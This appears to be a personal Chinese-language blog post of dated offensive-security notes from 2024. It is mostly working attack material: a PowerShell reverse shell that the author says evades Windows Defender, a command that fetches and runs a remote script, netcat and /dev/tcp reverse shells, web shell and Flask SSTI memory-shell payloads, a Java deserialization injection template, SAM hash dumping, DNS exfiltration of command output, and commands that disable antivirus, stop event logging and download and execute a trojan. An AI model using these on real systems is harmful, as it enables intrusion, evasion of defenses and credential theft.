2024 Daily Notes

1 月

15 号:https://blog.ankursundara.com/cookie-bugs/ 由于旧的 RFC 和 框架实现存在差异问题。导致 cookie 可能存在不同的解释和劫持

The empty cookie

Browsers actually allow a cookie with an empty name!

javascript
document.cookie = "a=v1"
document.cookie = "=test value;" // empty name
document.cookie = "b=v2"

This results in the sent cookie header:

“`javascript
a=v1; test value; b=v2;

Cookie Injection

Say a user has control over the sent LANGUAGE cookie

LANGUAGE=”en-us” CSRF_TOKEN=”SPOOFED_VALUE”

This is then parsed by Undertow as 2 separate cookies (even though there’s no semicolon – the cookie separator that browsers use)

LANGUAGE=en-us
CSRF_TOKEN=SPOOFED_VALUE
“`

CVE-2023-7028 GitLab 任意用户密码重置漏洞

在GitLab发布的 16.1.0(2023年5月1日)版本中引入新功能,允许用户通过电子邮件地址重置密码。该漏洞是由电子邮件验证过程中的错误造成的,用户密码重置电子邮件可能会发送到未经验证的电子邮件地址。

19 号:

https://infosecwriteups.com/flying-under-the-av-radar-part-01-9384657de2b2

作者自己写了个 powershell 的反弹脚本,直接运行不会被 Windows Defender 检测到,报告给微软,微软说这不符合危险程度,后续有可能会增强检测

$port = 4444
$ip = '172.28.100.18'

$socket = New-Object System.Net.Sockets.TcpClient($ip, $port)
$stream = $socket.GetStream()
$reader = New-Object System.IO.StreamReader $stream
$writer = New-Object System.IO.StreamWriter $stream

[byte[]]$buffer = 0..65535|%{0}

while($true){
    $data = $reader.ReadLine()
    if ($data -eq $null) {
        break
    }

    $sendback = (iex $data 2>&1 | Out-String )
    $writer.WriteLine($sendback)
    $writer.Flush()
}

$socket.Close()
powershell -nop  -W hidden -noni -ep bypass -c "$port = 4444;$ip = '172.28.100.18';$socket = New-Object System.Net.Sockets.TcpClient($ip, $port);$stream = $socket.GetStream();$reader = New-Object System.IO.StreamReader $stream;$writer = New-Object System.IO.StreamWriter $stream;[byte[]]$buffer = 0..65535|%{0};while($true){$data = $reader.ReadLine();if ($data -eq $null) {break;}$sendback = (iex $data 2>&1 | Out-String );$writer.WriteLine($sendback);$writer.Flush();};$socket.Close();"

powershell 历史命令存储路径:%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

后期可以直接删除。

当然也可以用 goby 的 ps1

powershell IEX (New-Object Net.WebClient).DownloadString('http://gobygo.net/ps/rs.ps1');rs -H 172.28.100.18 -P 4444

20 号:p0wny-shell 一个模拟页面终端的 web shell 项目告诉我们,php 只要有 exec、shell_exec、system、passthru、popen、proc_open 中的任何一个没有被禁用就可以直接执行系统命令。4.29 update: 如果目标安装了 pcntl 拓展(此拓展在 Windows 平台不可用),可以使用 pcntl_exec 进行命令执行。

22 号:

curl 上传文件(总是忘记)

curl url --proxy http://127.0.0.1:8080 -F "[email protected]" -v

curl 上传文件内容

curl -X POST --proxy http://127.0.0.1:8080 -H "Content-Type:  application/x-amf" --data-binary "@poc.ser" url

29 号:

https://mp.weixin.qq.com/s/fRbzLyGSqu7wtB9Bcpq1mg https://forum.butian.net/share/1749

mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把 用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入

2 月

16 号:

https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html CDN 缓存漏洞利用

21 号:

sqlmap 的 payload 在 /usr/share/sqlmap/data/xml/queries.xml 可以查询

28 号:

https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/ 域中在 Certificate Service DCOM Access 组的域用户可以通过 CertSrv Request 实现 NTLM 反射攻击。

3 月

4 号:

下面这个 payload 很好地解决了 jboss jmx-console 未授权不出网的利用方法

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=web-console.war&argType=java.lang.String&&arg1=she&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%25java.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[2048]%3bout.print("<pre>")%3bwhile((a%3din.read(b))!%3d-1){out.println(new+String(b))%3b}out.print("</pre>")%3b%25>&argType=boolean&arg4=True

然后:

/web-console/she.jsp?pass=whoami

5 号:

使用 nc 上传文件的操作:

server:

nc -lvp 9999 < file_name

target:

cat < /dev/tcp/ip/9999 > file_name

6 号:

windows 关闭实时保护:(只有在防篡改保护关闭下有效)

powershell "Set-MpPreference -DisableRealtimeMonitoring $true"

判断 windows 实时保护状态,True 表示开启, False 表示关闭

powershell (Get-MpComputerStatus).RealTimeProtectionEnabled

7 号:

  • windows 目录遍历:
\\..\\..\\..
  • 权限足够 reg 离线抓哈希就好了,不用想着怎么绕过杀软。
reg save HKLM\sam ./sam
reg save HKLM\system ./system
impacket-secretsdump -sam sam -system system LOCAL

4 月

22 号:

windows defender 排除文件夹列举

powershell "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"

23 号:

sqlmap 在获取字段的中文内容时,如果是时间盲注的话,可能无法正常获取(返回空),可以加上 --hex 参数,将内容转换为 16 进制导出

28 号:

如果你控了一台机器,通过某个 web 端口,目标本地也开了 3389 或 22 端口,但是外网访问不到,你执意要连接。你可以使用 webshell socks 代理,也可以使用端口复用的方法。Linux 下用 iptables,至于 windows,真没有什么好的办法,winrm 只能做一个后门。https://cloud.tencent.com/developer/article/1759955

添加一条规则,使得来自 192.168.244.1 访问 8888 端口流量重定向到 8889
iptables -t nat -A PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889

将上面的规则删除
iptables -t nat -D PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889

查看规则情况
iptables -L -t nat -nv

30 号:

Elasticsearch 未授权可以先访问 /_cat/indices?v&pretty 查看各个索引的存储基本信息,包含条数,大小等,快速判断有无影响价值。

5 月

4 号:

在 Windows 机器上想要执行 sqlserver 的操作可以用 sqlcmd 命令,例如:

sqlcmd -S ip -d database -U username -P password -Q "SELECT name FROM sys.tables;"

8 号:

新版本 flask 通过 ssti 打内存马:

http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

参考:https://xz.aliyun.com/t/14421,借助 after_request_funcs 装饰器的 setdefault 函数修改 response 实现内存马注入,类似于一个拦截器

10 号:

Linux 信息收集用这个:netstat -anltp,查看完整命令使用 ps -p <PID> -o args

11 号:

在构建镜像的过程中添加下面参数可使走代理

      args:
        http_proxy: http://172.17.0.1:8123
        https_proxy: http://172.17.0.1:8123

或者

docker build --build-arg HTTP_PROXY=http://172.29.144.1:21882 \
             --build-arg HTTPS_PROXY=http://172.29.144.1:21882 \
             -t dockurr/windows .

13 号:

国内资产收集过程中,当你收集到了该集团下的所有分公司、子公司、组织名(怎么找到?除了企查查、爱企查等第三方接口,你可以尝试找别人官网显示的组织架构或者是举报页面),你可以通过 ICP 备案 查到对应的公司域名,一查一个准。查不到再借助 Google 或 Bing,再查不到借助 fofa 等搜索引擎

ps: 近来发现子域名资产极少甚至都访问不了,建议走 icon

14 号:

R 语言反序列化:https://hiddenlayer.com/research/r-bitrary-code-execution/

redis 打 windows,之前也想过这个问题,看来确实只有主从复制的办法:https://xz.aliyun.com/t/14455

image-20240514145815347

27 号, update: 这篇文章还提醒我们,redis 写 web shell 的话记得关掉压缩选项 config set rdbcompression no

16 号:

关于 Windows 的 dnslog 命令结果回显外带(常用于 PoC 验证),我们经常用这种方式

ping %username%.dnslog.org

但是这种方式只能读取环境变量,因此我们可以将命令执行的结果设置到某个环境变量中,再外带出来。参考:https://www.cnblogs.com/Alad1ng/p/14511713.html

whoami > temp.txp && certutil -encode temp.txp temp2.txp && findstr /L /V "CERTIFICATE" temp2.txp > temp3.txp && for /f "tokens=* delims=" %i in (temp3.txp) do @cmd /v:on /c "set "line=%i" && set "line=!line:~0,-1!" && ping !line!.d127885d.dnslog.store" && del temp.txp temp2.txp temp3.txp

只能支持一行,因为是 base64 编码去掉了 = 号

20 号:

UDP 反弹 shell

监听:

nc -lvnp 1337 -u

目标执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc -u 172.19.178.95 1337 >/tmp/f

27 号:

CVE-2024-32002:攻击者构造一个 Git 仓库,其中依赖了一个子项目,指定存储位置为 A,这个 Git 项目中有一个名为 a 的软链接,指向了 .git 目录。子项目里面构造了一个 hooks 目录,攻击脚本存放在里面。最后,递归克隆项目的时候,因为目录大小写不敏感的原因,子项目实际上被写到了 .git 目录下。这个漏洞可以针对于开发者、运维人员的钓鱼。在 git clone 命令时需要加上 --recursive 参数,值得注意。适用于 Windows 和 Mac,因为他们路径大小写不区分。

28 号:

CVE-2024-2961 这是一个基于 glibc 的缓冲区溢出漏洞,但是在 php 的文件函数(如,file、getimagesize)中广受影响。如果我们能够读取 /proc/self/maps 的内容,并且 php 环境启用了 zlib 拓展,便可以精心构造出地址实现 RCE。例如仅仅是如下的代码

<?php echo file_get_contents($_POST['file']);?>

我们可以借助这个漏洞绕过 php 的函数禁用,或者当作一个后门使用。

ps: PHP 7.0.0 ~ 8.3.7

29 号:

影子用户的排查可以通过查看注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 文件信息,或者是查看 Windows 安全日志排查创建用户事件

6 月

11 号:

判断 guest 用户是否被激活:使用 powershell 命令 Get-LocalUser -Name "Guest"

7 月

1 号:

如果在小程序的测试过程中发现请求的数据包携带有 sessionKey,则可以尝试使用 https://github.com/mrknow001/wx_sessionkey_decrypt 进行利用导致水平越权或垂直越权

5 号:

这里放一个打反序列化的类模板,code 可通过 jMG-gui-obf 生成 base64 替换,核心是使用 unsafe 任意加载匿名类的方法。打进去即可。至于 Jsp 的,jmg 可以选择直接生成。值得注意的是,如果的 Filter/Listener 内存马一定要选一个 Servlet 存在的路径进行连接。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.Unsafe;

import java.lang.reflect.Field;

/**
 * @author Shule
 * CreateTime: 2024/7/5 14:42
 */
public class Inject extends AbstractTranslet {
    public static String code = "";

    static {
        try {
            defineClass(Base64DecodeToByte(code));
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }

    public static void defineClass(byte[] bytes) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException {
        Field theUnsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        unsafe.defineAnonymousClass(Class.forName("java.lang.Class"), bytes, null).newInstance();
    }

    public static byte[] Base64DecodeToByte(String code) {
        byte[] bt = null;
        String version = System.getProperty("java.version");

        try {
            Class clazz;
            if (version.compareTo("1.9") >= 0) {
                clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
                bt = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, code));
            } else {
                clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), code));
            }
            return bt;
        } catch (Exception var5) {
            return new byte[0];
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

8 号:

linux 查找特定后缀包含特定字符串的命令

 grep -r --include="*.txt" "passwd" /

9 号:

Windows 暂停日志服务

powershell -Command "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\""
tastkill /F /PID 22222

CS 上线后敏感操作可以编写 BOF 进行执行。

10 号:

JRMP 本质就是 RMI 攻击,在客户端与服务端交互之间传递的对象序列化字节会被反序列化。

# 生成恶意反序列化对象字节
java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:13337" > evil.ser
# 起 JRMPListener 服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 13337 CommonsCollections6 "calc"
# 如果目标服务存在 CC6 利用链并且反序列化了 evil.ser 那么就会与 Listener 进行交互,走 CommonsCollections6 链

15 号:

msfconsole 也可实现多人运动,只要大家都连上同一个数据库

18 号:

powershell 加上 -ExecutionPolicy Bypass 可以绕过安全策略。

9 月

18 号:

Windows 已被禁用特权可以使用 https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1 此脚本开启。如果目标机器上禁用执行脚本,可以凭借管理员权限执行 set-executionpolicy remotesigned

19 号:

使用 vsocde 搭建隧道,可用于域前置、C2;核心在受害机上执行 code tunnel https://xz.aliyun.com/t/15616

28 号:

GoLang 也支持 argv[0] 混淆:https://www.jianshu.com/p/e1de8fc52718 只可惜不支持 windows

更多场景:https://www.wietzebeukema.nl/blog/why-bother-with-argv0

10 月

6 号:

文件上传绕过

<?php eval('?>'.file_get_contents('http://'));?> // 可改为 base64

7 号:浏览器下载文件

msedge

start msedge http://192.168.1.1:19900/demo.rar

firefox

start firefox http://192.168.1.1:19900/demo.rar

chrome

start chrome http://192.168.1.1:19900/demo.rar

远程下载;确定文件路径;重命名;执行

start msedge http://192.168.1.1:19900/NNNNnop.rar && ping -n 10 127.0.0.1 >NUL && for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe && ping -n 10 127.0.0.1 >NUL && cmd /c %dd%

这个命令挺复杂的,我按照步骤来简单说一下

  • 使用 edge 浏览器远程下载

start msedge http://192.168.1.1:19900/NNNNnop.rar

  • 延时 10 s

ping -n 10 127.0.0.1 >NUL

  • 遍历所有盘符,寻找 NNNNnop.rar 这个文件

cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""

NNNNnop.rar 是我们远程下载的文件名,这个文件名一定要唯一,不然后续的命令会把系统同名文件给重命名并且执行了,会影响系统

  • 重命名 NNNNnop.rar123456.exe ,路径还是在下载路径

for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe

  • 延时 10 s

ping -n 10 127.0.0.1 >NUL

  • 执行我们的木马

cmd /c %dd%

8 号:

过滤 |&$ 以及空格的反弹 shell(bash 环境)

(sh)0>/dev/tcp/ip/port
监听端执行:exec >&0

11 号:

可以使用 dumpbin.exe 来查看 dll 的导出函数

dumpbin.exe /EXPORTS *.dll

DllMain entry point 实现参考:https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain

#include <windows.h>
#include <tlhelp32.h>
//gcc -shared -o mydll.dll dll.c -Wl,--subsystem,windows
void kill() {
    system("calc.exe");
}

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            kill();
            // fall through
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇